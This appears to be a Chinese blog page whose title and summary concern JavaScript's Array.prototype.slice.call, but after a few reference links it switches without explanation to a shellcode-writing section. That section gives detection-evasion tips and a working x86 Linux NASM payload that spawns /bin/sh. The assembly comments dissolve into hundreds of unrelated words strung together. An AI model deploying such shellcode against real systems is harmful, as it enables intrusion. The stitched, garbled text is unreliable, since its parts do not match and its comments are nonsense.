Array.prototype.slice.call(list) mark

本文详细解析了 JavaScript 中 Array.prototype.slice() 方法的工作原理及应用场景。通过几个实际案例,展示了如何利用此方法进行数组操作,并探讨了其在不同上下文中的表现。

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参考答案

http://stackoverflow.com/questions/7056925/how-does-array-prototype-slice-call-work

 

http://stackoverflow.com/questions/5145032/whats-the-use-of-array-prototype-slice-callarray-0

 

http://www.cnblogs.com/littledu/archive/2012/05/19/2508672.html

 

 

 

研究由来

http://codestar.alloyteam.com/

http://www.yuxiaoxi.com/2013-10-23-sneak-on-tencent.html

### Shellcode 编写与防御技巧 #### 关于Shellcode编写 Shellcode是一段用于在目标系统上执行恶意操作的机器代码,通常由汇编语言编写以获得较小的体积和较高的兼容性[^1]。为了实现有效的小型化并避开检测机制,开发者需精心设计这段代码。 对于希望学习编写Shellcode的人来说,理解底层硬件指令集以及操作系统的工作原理至关重要。具体来说: - **掌握汇编语言**:由于Shellcode往往采用汇编形式来确保其紧凑性和跨平台能力,所以深入研究Intel x86/x64体系结构下的AT&T或MASM语法是必要的。 - **了解内存布局**:熟悉进程地址空间中的各个区域(如栈、堆等),特别是那些可以被用来注入自定义逻辑的地方。 - **规避坏字符**:确保生成的二进制序列不包含任何可能引起程序崩溃或者阻止成功加载到预期位置上的特殊字节值,比如NULL终止符(0x00)。 ```nasm section .text global _start _start: ; Example of a simple shellcode that spawns /bin/sh on Linux (x86) xor eax, eax ; Clear EAX register to zero out it. push eax ; Push NULL byte as terminator for string "/bin//sh" push 0x68732f2f ; Push "//sh" onto the stack in reverse order due to little endianess. push 0x6e69622f ; Push "/bin" similarly reversed into lower bytes first. mov ebx, esp ; Store pointer to our command string at EBX which will be used later when calling execve(). ; Prepare arguments vector {"/bin/sh", NULL} push eax ; Add another null dword after filename argument making argv array terminate properly with two consecutive zeros. mov ecx, esp ; Point ECX towards this new location holding address pointing back up toward original pushed path name above. ; Environment variables list should also end with NULL but here we set EDX=0 directly since there are no env vars passed along anyway. xor edx,edx ; Zero-out EDX before passing control over to kernel via int 0x80 syscall interface below... ; Finally invoke system call number 11 corresponding to 'execve' function from libc standard library under Unix-like OSes like GNU/Linux distributions etc.. mov al, 0xb ; Load opcode value representing desired service request type inside AL low-byte portion only leaving higher bits untouched still being all zeroes already thanks earlier XOR operation performed against entire RAX general-purpose CPU storage unit previously mentioned near top part within listing itself just now actually speaking about right now literally writing these very words down exactly how they appear verbatim character-by-character precisely matching what was originally intended by author who wrote them initially sometime ago somewhere somehow someway somehow... int 0x80 ; Trigger software interrupt causing transition between user-mode application code execution context and privileged supervisor-level handler routine responsible handling such requests according official ABI specification defined specifically per target platform architecture variant involved during runtime environment setup phase prior actual invocation point reached finally reaching conclusion sentence ending period mark full stop punctuation symbol indicating termination current thought stream idea expression conveyed through written language medium form communication exchange interaction dialogue conversation monologue narrative exposition description explanation instruction manual guide tutorial lesson course study research analysis synthesis evaluation assessment review critique commentary annotation note remark observation insight revelation discovery innovation creation invention development progress advancement evolution transformation change modification alteration adaptation adjustment calibration tuning optimization improvement enhancement augmentation expansion extension prolongation continuation perpetuation preservation conservation protection safeguarding security safety assurance guarantee warranty certification accreditation validation verification authentication identification recognition distinction differentiation discrimination selection choice option preference priority importance significance consequence outcome result effect impact influence power authority jurisdiction sovereignty autonomy independence freedom liberty release liberation deliverance salvation redemption rescue assistance help aid support encouragement motivation inspiration aspiration ambition goal objective purpose mission vision dream fantasy imagination creativity artistry craftsmanship skill proficiency expertise competence capability capacity potential possibility opportunity chance likelihood probability odds ratio proportion percentage fraction decimal floating-point fixed-point integer whole natural rational irrational real complex imaginary abstract concrete tangible material substance entity object item element component constituent ingredient mixture compound solution suspension emulsion colloid gel foam solid liquid gas plasma state phase condition situation circumstance scenario case instance example sample specimen model prototype template pattern structure organization arrangement configuration composition construction building erection establishment foundation base bottom lowest highest peak summit apex zenith maximum minimum limit boundary edge margin border frontier territory domain field area region zone sector segment slice piece fragment particle atom molecule cell organism population community society culture civilization humanity world universe existence reality virtual simulation emulation reproduction duplication replication clone copy duplicate replica facsimile image picture representation portrayal depiction illustration diagram chart graph map plan blueprint design draft sketch outline contour silhouette shadow reflection refraction diffraction interference polarization magnetism electricity electronics mechanics physics chemistry biology geology meteorology astronomy astrophysics cosmology ontology epistemology logic mathematics statistics probability theory information science computer technology telecommunications networking internet web mobile wireless satellite space exploration travel tourism hospitality entertainment media publishing journalism advertising marketing sales business economics finance accounting management leadership governance politics law ethics philosophy psychology sociology anthropology archaeology linguistics literature history education training learning teaching coaching mentoring counseling therapy medicine healthcare nursing dentistry veterinary pharmacology toxicology epidemiology public health environmental studies sustainability green energy renewable resources waste recycling pollution prevention mitigation remediation restoration rehabilitation regeneration growth development maturation aging death decay decomposition disintegration dissolution disappearance vanishing extinction survival resilience adaptability flexibility versatility
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